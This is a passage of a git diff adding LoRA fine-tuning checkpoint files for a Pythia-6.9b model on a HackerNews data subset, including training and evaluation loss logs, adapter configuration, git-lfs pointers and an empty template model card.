"eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 9.17620031225856e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-560/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4df0654a9a0a9ba0f67678aff53aaf72a5bd66e2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d533ddd5e90a234b3755a946a0c2fa2834013cf93307cecd9da5f3dc1adf0612 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..af7fe66a60b60bf96d43516fd10826472c7a1f86 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b9d03c1e1730ef7570cd1f83d00f66c0e2a9a49aef364b5effa59d26a06b8594 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..3ed38f9a78b3dbf6f2e73e5bd68681ac198b1983 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d966d92a47b281ed57ee7f44ee2eaa60a54786f7ca9b7e8829ab8723bc8a5a1d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0f6ab5a4a6c1c8537d29396d68ff9a943067c8eb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6a34ac3e6b737b225204c7a1c95f58427255f84b0986866cdac344b9d5ba4319 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8a1db21c8285cfd1a2056a3e9a67f5ca73aa9771 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-570/trainer_state.json @@ -0,0 +1,888 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.6, + "eval_steps": 10, + "global_step": 570, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, 